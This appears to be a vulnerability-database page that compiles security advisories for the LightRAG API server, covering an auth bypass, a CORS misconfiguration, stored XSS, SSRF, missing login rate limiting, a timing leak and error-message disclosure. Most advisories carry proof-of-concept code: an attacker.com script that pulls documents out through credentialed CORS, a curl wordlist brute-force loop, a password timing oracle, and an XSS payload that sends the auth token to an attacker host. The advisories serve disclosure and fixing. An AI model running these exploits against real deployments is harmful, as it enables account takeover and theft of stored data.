    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Jun 14, 2026

1.5.2 patch

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

